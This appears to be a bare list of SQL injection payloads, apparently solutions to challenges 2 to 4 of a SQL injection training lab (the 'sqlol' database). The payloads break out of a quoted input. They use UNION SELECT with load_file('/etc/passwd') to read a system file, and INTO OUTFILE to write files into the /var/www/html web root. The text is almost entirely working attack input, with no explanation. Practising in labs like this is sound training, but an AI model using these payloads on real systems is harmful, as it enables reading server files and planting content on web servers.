Challenge 2: Herp Derper' INTO OUTFILE '/var/www/html/sam3.htm Challenge 3 Herp Derper' UNION select concat(concat(substring(load_file('/etc/passwd'),30,1),substring(load_file('/etc/passwd'),36,10)),substring(load_file('/etc/passwd'),37,1)) AS username FROM sqlol.ssn WHERE 'a'='a Challenge 4 WFILE=/home/p13x/winners UFILE=/home/p13x/updatenow PFILE=/var/www/html/p13x-winners.htm /var/www/html/SQL-winners.htm /var/www/html/SQLchal /var/www/html/SQLchal/winners /var/www/html/SQLchal/updatenow Builds "sam" x' UNION select concat(concat(substring(load_file('/etc/passwd'),30,1),substring(load_file('/etc/passwd'),34,1)),substring(load_file('/etc/passwd'),36,1)) AS username FROM sqlol.ssn WHERE 'a'='a x' UNION select concat(concat(substring(load_file('/etc/passwd'),30,1),substring(load_file('/etc/passwd'),34,1)),substring(load_file('/etc/passwd'),36,1)) AS username FROM sqlol.ssn INTO OUTFILE '/var/www/html/SQLchal/winners x' UNION select concat(concat(substring(load_file('/etc/passwd'),30,1),substring(load_file('/etc/passwd'),34,1)),substring(load_file('/etc/passwd'),36,1)) AS username FROM sqlol.ssn INTO OUTFILE '/var/www/html/SQLchal/updatenow